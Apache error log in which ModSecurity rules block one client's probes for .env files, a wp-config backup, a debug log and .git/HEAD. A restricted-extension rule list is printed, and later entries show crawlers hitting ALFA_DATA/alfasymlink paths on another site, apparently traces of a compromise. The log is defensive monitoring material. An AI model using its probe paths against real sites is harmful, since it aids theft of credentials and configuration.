[Mon Oct 26 22:39:39.446346 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "auAO6yOodMWIbKjvKGh79wAAABk"]
[Mon Oct 26 22:39:39.446628 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "auAO6yOodMWIbKjvKGh79wAAABk"]
[Mon Oct 26 22:39:39.509081 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "auAO63fB5_cr2AuVp7R4IQAAABA"]
[Mon Oct 26 22:39:39.509295 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "auAO63fB5_cr2AuVp7R4IQAAABA"]
[Mon Oct 26 22:39:39.509569 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "auAO63fB5_cr2AuVp7R4IQAAABA"]
[Mon Oct 26 22:39:39.511866 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "auAO688F3ZZVbqNCqKaApwAAAAo"]
[Mon Oct 26 22:39:39.511999 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "auAO688F3ZZVbqNCqKaApwAAAAo"]
[Mon Oct 26 22:39:39.512332 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.12.228:36620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "auAO688F3ZZVbqNCqKaApwAAAAo"]
[Mon Oct 26 22:39:39.518173 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "auAO6xQzMRo5zrQE7iykegAAAAQ"]
[Mon Oct 26 22:39:39.518338 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "auAO6xQzMRo5zrQE7iykegAAAAQ"]
[Mon Oct 26 22:39:39.518583 2026] [security2:error] [pid 3143279:tid 3143279] [client 34.79.12.228:36608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "auAO6xQzMRo5zrQE7iykegAAAAQ"]
[Mon Oct 26 22:39:39.519615 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNwAAAABE"]
[Mon Oct 26 22:39:39.519778 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNwAAAABE"]
[Mon Oct 26 22:39:39.520017 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "auAO6_YA9VE6YOVz3TBNwAAAABE"]
[Mon Oct 26 22:39:39.520923 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "auAO6yx89dM6HoCaCT-njAAAABU"]
[Mon Oct 26 22:39:39.521052 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "auAO6yx89dM6HoCaCT-njAAAABU"]
[Mon Oct 26 22:39:39.521327 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "auAO6yx89dM6HoCaCT-njAAAABU"]
[Mon Oct 26 22:39:39.522344 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "auAO6yOodMWIbKjvKGh7-AAAABk"]
[Mon Oct 26 22:39:39.522742 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "auAO6yOodMWIbKjvKGh7-AAAABk"]
[Mon Oct 26 22:39:39.523022 2026] [security2:error] [pid 3144856:tid 3144856] [client 34.79.12.228:36562] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "auAO6yOodMWIbKjvKGh7-AAAABk"]
[Mon Oct 26 22:39:39.525077 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "auAO61zBh5ooeihzFpChlwAAAAk"]
[Mon Oct 26 22:39:39.525200 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "auAO61zBh5ooeihzFpChlwAAAAk"]
[Mon Oct 26 22:39:39.525449 2026] [security2:error] [pid 3144834:tid 3144834] [client 34.79.12.228:36618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "auAO61zBh5ooeihzFpChlwAAAAk"]
[Mon Oct 26 22:39:39.564114 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "auAO60V4AUzwl86DWirnawAAABI"]
[Mon Oct 26 22:39:39.564332 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "auAO60V4AUzwl86DWirnawAAABI"]
[Mon Oct 26 22:39:39.564607 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.79.12.228:36640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "auAO60V4AUzwl86DWirnawAAABI"]
[Mon Oct 26 22:39:39.565839 2026] [security2:error] [pid 3145259:tid 3145259] [client 34.79.12.228:36666] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auAO63_n3WCHQhiLss_2KQAAAAA"]
[Mon Oct 26 22:39:39.566048 2026] [security2:error] [pid 3145259:tid 3145259] [client 34.79.12.228:36666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auAO63_n3WCHQhiLss_2KQAAAAA"]
[Mon Oct 26 22:39:39.566299 2026] [security2:error] [pid 3145259:tid 3145259] [client 34.79.12.228:36666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auAO63_n3WCHQhiLss_2KQAAAAA"]
[Mon Oct 26 22:39:39.586697 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/HEAD"] [unique_id "auAO6yOYJjK4Eh4U5Qme8wAAAAY"]
[Mon Oct 26 22:39:39.586869 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/HEAD"] [unique_id "auAO6yOYJjK4Eh4U5Qme8wAAAAY"]
[Mon Oct 26 22:39:39.587130 2026] [security2:error] [pid 3144820:tid 3144820] [client 34.79.12.228:36628] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/HEAD"] [unique_id "auAO6yOYJjK4Eh4U5Qme8wAAAAY"]
[Mon Oct 26 22:39:46.049995 2026] [core:error] [pid 3145311:tid 3145311] (13)Permission denied: [client 185.191.171.3:57632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/free_calls
[Mon Oct 26 22:39:46.124879 2026] [ssl:error] [pid 3145309:tid 3145309] (70014)End of file found: [client 54.225.148.123:28621] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:02.236466 2026] [ssl:error] [pid 3145259:tid 3145259] (70014)End of file found: [client 54.147.182.90:59751] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:10.269408 2026] [ssl:error] [pid 3145332:tid 3145332] (70014)End of file found: [client 34.231.156.59:25718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:18.264248 2026] [ssl:error] [pid 3144852:tid 3144852] (70014)End of file found: [client 52.3.104.214:21913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:34.214155 2026] [ssl:error] [pid 3145259:tid 3145259] (70014)End of file found: [client 44.221.37.41:12764] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:34.748844 2026] [core:error] [pid 3142595:tid 3142595] (13)Permission denied: [client 85.208.96.209:56956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/remote_node_defrag_ratio
[Mon Oct 26 22:40:46.215025 2026] [security2:error] [pid 3144821:tid 3144821] [client 54.91.122.193:9046] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/3012065/"] [unique_id "auAPLrtiWD9g5qPk3WNeTQAAAAc"]
[Mon Oct 26 22:40:46.215071 2026] [security2:error] [pid 3144821:tid 3144821] [client 54.91.122.193:9046] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/3012065/"] [unique_id "auAPLrtiWD9g5qPk3WNeTQAAAAc"]
[Mon Oct 26 22:40:50.246419 2026] [ssl:error] [pid 3144834:tid 3144834] (70014)End of file found: [client 18.210.58.238:33681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:52.664365 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 85.208.96.198:27388] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:40:54.250630 2026] [ssl:error] [pid 3145259:tid 3145259] (70014)End of file found: [client 52.204.71.8:17831] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:41:06.145019 2026] [ssl:error] [pid 3145309:tid 3145309] (70014)End of file found: [client 3.225.9.97:33299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:41:10.313727 2026] [ssl:error] [pid 3145308:tid 3145308] (70014)End of file found: [client 44.207.207.36:34712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:41:26.126061 2026] [core:error] [pid 3142605:tid 3142605] (13)Permission denied: [client 54.147.238.89:12282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/remove
[Mon Oct 26 22:41:34.212180 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.3.155.146:45292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:41:42.227946 2026] [ssl:error] [pid 3145332:tid 3145332] (70014)End of file found: [client 18.213.240.226:43976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:41:50.318159 2026] [ssl:error] [pid 3144834:tid 3144834] (70014)End of file found: [client 18.214.124.6:37974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:41:58.127861 2026] [ssl:error] [pid 3145259:tid 3145259] (70014)End of file found: [client 35.169.102.85:50106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:42:16.205715 2026] [ssl:error] [pid 3144852:tid 3144852] (70014)End of file found: [client 85.208.96.205:38772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:42:26.264345 2026] [ssl:error] [pid 3145259:tid 3145259] (70014)End of file found: [client 34.227.234.246:53230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:42:38.205425 2026] [ssl:error] [pid 3145332:tid 3145332] (70014)End of file found: [client 52.44.229.124:51456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:42:46.295417 2026] [ssl:error] [pid 3145308:tid 3145308] (70014)End of file found: [client 34.195.60.66:32069] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:02.066298 2026] [core:error] [pid 3144820:tid 3144820] (13)Permission denied: [client 85.208.96.200:48674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/object_size
[Mon Oct 26 22:43:10.240194 2026] [ssl:error] [pid 3144852:tid 3144852] (70014)End of file found: [client 3.229.2.217:29563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:43:17.815422 2026] [core:crit] [pid 3144821:tid 3144821] (13)Permission denied: [client 216.244.66.250:51842] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1490/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1490/fd/' is executable
